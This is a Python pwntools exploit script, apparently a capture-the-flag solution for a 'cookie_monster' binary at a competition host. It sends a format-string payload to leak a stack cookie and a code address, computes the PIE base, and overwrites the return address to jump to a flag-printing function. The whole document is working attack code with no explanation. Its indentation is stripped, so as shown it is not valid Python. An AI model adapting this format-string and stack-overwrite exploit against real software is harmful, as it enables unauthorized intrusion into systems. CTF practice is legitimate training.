```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host ctf.umbccd.io --port 4200 cookie_monster
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('cookie_monster')

# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'ctf.umbccd.io'
port = int(args.PORT or 4200)

def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io

def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
b *0x0000555555555225
b *0x0000555555555290
c
'''.format(**locals())

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled

io = start()

io.recvuntil("name?")
io.send("%9$p|%p")
io.recvuntil("Hello, ")
leak = io.recvline()
cookie, addr = map(lambda x: int(x, 16), leak.decode().split("|"))
if args.LOCAL:
base = 0x555555554000
else:
base = addr - 0x2082

flag_addr = base + 0x11b5

io.recvline()

payload = flat({
'aaadaaae': [cookie, 0x1337, flag_addr]
})
io.sendline(payload)
flag = io.recv(1024)
log.success(flag.decode())
```